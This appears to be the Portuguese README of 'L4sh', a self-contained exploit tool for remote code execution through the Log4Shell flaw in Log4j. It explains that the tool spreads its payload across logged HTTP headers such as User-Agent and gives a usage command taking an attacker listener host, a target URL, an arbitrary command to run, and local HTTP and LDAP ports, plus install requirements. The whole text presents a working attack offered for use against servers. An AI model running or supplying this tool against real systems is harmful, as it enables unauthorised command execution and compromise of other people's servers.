L4sh

Exploit RCE do Log4Shell

Exploit totalmente independente não requer nenhum binário de terceiros. O exploit espalha o payload por todos os possíveis cabeçalhos HTTP registrados em log, como X-Forwarding , Server-IP , User-Agent

Uso

python main.py -i lhost -u http://target:targetport -c "command_to_execute" -p lhttp_port -l lldap_port

Requisitos

• java-8-openjdk
• pip install -r requirements.txt
• python3.6+